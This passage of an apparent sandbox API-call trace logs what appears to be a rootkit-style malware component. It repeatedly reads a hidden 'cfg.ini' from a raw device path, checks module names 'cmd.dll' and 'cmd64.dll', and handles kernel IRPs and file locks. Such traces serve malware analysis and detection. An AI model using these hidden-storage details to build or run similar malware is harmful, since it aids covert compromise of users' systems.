FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.152] KeLeaveCriticalRegion () [0120.152] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.152] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.152] KeEnterCriticalRegion () [0120.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003404000 [0120.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.152] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.152] IdePortDispatch () returned 0x103 [0120.152] KeWaitForMutexObject () returned 0x0 [0120.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.153] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.153] IdePortDispatch () returned 0x103 [0120.153] KeWaitForMutexObject () returned 0x0 [0120.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.153] KeLeaveCriticalRegion () [0120.153] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.153] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.153] KeEnterCriticalRegion () [0120.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.153] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.153] KeLeaveCriticalRegion () [0120.153] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.153] KeEnterCriticalRegion () [0120.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.153] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.153] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.153] KeLeaveCriticalRegion () [0120.153] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.153] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.153] KeEnterCriticalRegion () [0120.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.154] ExFreePoolWithTag (P=0xfffffa8003bc2e30, Tag=0x0) [0120.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.154] KeLeaveCriticalRegion () [0120.154] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.154] ReleaseMutex (hMutex=0xf0) returned 1 [0120.154] Sleep (dwMilliseconds=0x124f80) [0120.167] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.168] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.168] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.168] KeEnterCriticalRegion () [0120.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.168] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.168] IdePortDispatch () returned 0x103 [0120.168] KeWaitForMutexObject () returned 0x0 [0120.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.168] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.168] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.168] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.168] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.168] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2590 [0120.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.168] KeLeaveCriticalRegion () [0120.168] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.168] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.168] KeEnterCriticalRegion () [0120.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.168] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.168] KeLeaveCriticalRegion () [0120.168] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.168] KeEnterCriticalRegion () [0120.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.168] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.168] IdePortDispatch () returned 0x103 [0120.168] KeWaitForMutexObject () returned 0x0 [0120.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.169] KeLeaveCriticalRegion () [0120.169] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.169] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.169] KeEnterCriticalRegion () [0120.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003409000 [0120.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.169] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.169] IdePortDispatch () returned 0x103 [0120.169] KeWaitForMutexObject () returned 0x0 [0120.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.169] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.169] IdePortDispatch () returned 0x103 [0120.169] KeWaitForMutexObject () returned 0x0 [0120.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.169] KeLeaveCriticalRegion () [0120.169] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.170] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.170] KeEnterCriticalRegion () [0120.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.170] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.170] KeLeaveCriticalRegion () [0120.170] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.170] KeEnterCriticalRegion () [0120.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.170] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.170] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2300, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.170] KeLeaveCriticalRegion () [0120.170] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.170] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.170] KeEnterCriticalRegion () [0120.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.170] ExFreePoolWithTag (P=0xfffffa8003bc2590, Tag=0x0) [0120.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.170] KeLeaveCriticalRegion () [0120.170] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.170] ReleaseMutex (hMutex=0xf0) returned 1 [0120.170] Sleep (dwMilliseconds=0x124f80) [0120.184] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.184] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.184] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.184] KeEnterCriticalRegion () [0120.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.184] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.184] IdePortDispatch () returned 0x103 [0120.184] KeWaitForMutexObject () returned 0x0 [0120.184] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.184] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.184] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.184] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.184] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.184] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd620 [0120.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.185] KeLeaveCriticalRegion () [0120.185] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.185] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.185] KeEnterCriticalRegion () [0120.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.185] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.185] KeLeaveCriticalRegion () [0120.185] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.185] KeEnterCriticalRegion () [0120.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.185] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.185] IdePortDispatch () returned 0x103 [0120.185] KeWaitForMutexObject () returned 0x0 [0120.185] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.185] KeLeaveCriticalRegion () [0120.185] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.185] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.185] KeEnterCriticalRegion () [0120.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.185] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800340e000 [0120.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.185] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.185] IdePortDispatch () returned 0x103 [0120.185] KeWaitForMutexObject () returned 0x0 [0120.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.186] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.186] IdePortDispatch () returned 0x103 [0120.186] KeWaitForMutexObject () returned 0x0 [0120.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.186] KeLeaveCriticalRegion () [0120.186] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.186] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.186] KeEnterCriticalRegion () [0120.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.186] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.187] KeLeaveCriticalRegion () [0120.187] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.187] KeEnterCriticalRegion () [0120.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.187] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.187] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2300, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.187] KeLeaveCriticalRegion () [0120.187] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.187] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.187] KeEnterCriticalRegion () [0120.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.187] ExFreePoolWithTag (P=0xfffffa8003bcd620, Tag=0x0) [0120.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.187] KeLeaveCriticalRegion () [0120.187] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.187] ReleaseMutex (hMutex=0xf0) returned 1 [0120.187] Sleep (dwMilliseconds=0x124f80) [0120.201] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.201] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.201] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.201] KeEnterCriticalRegion () [0120.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.201] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.201] IdePortDispatch () returned 0x103 [0120.201] KeWaitForMutexObject () returned 0x0 [0120.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.201] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.201] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.201] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.201] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.201] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf60 [0120.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.201] KeLeaveCriticalRegion () [0120.201] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.201] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.201] KeEnterCriticalRegion () [0120.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.201] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.201] KeLeaveCriticalRegion () [0120.201] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.201] KeEnterCriticalRegion () [0120.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.201] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.201] IdePortDispatch () returned 0x103 [0120.202] KeWaitForMutexObject () returned 0x0 [0120.202] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.202] KeLeaveCriticalRegion () [0120.202] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.202] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.202] KeEnterCriticalRegion () [0120.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.202] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003413000 [0120.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.202] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.202] IdePortDispatch () returned 0x103 [0120.202] KeWaitForMutexObject () returned 0x0 [0120.202] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.202] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.202] IdePortDispatch () returned 0x103 [0120.202] KeWaitForMutexObject () returned 0x0 [0120.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.203] KeLeaveCriticalRegion () [0120.203] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.203] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.203] KeEnterCriticalRegion () [0120.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.203] KeLeaveCriticalRegion () [0120.203] _snprintf (in: 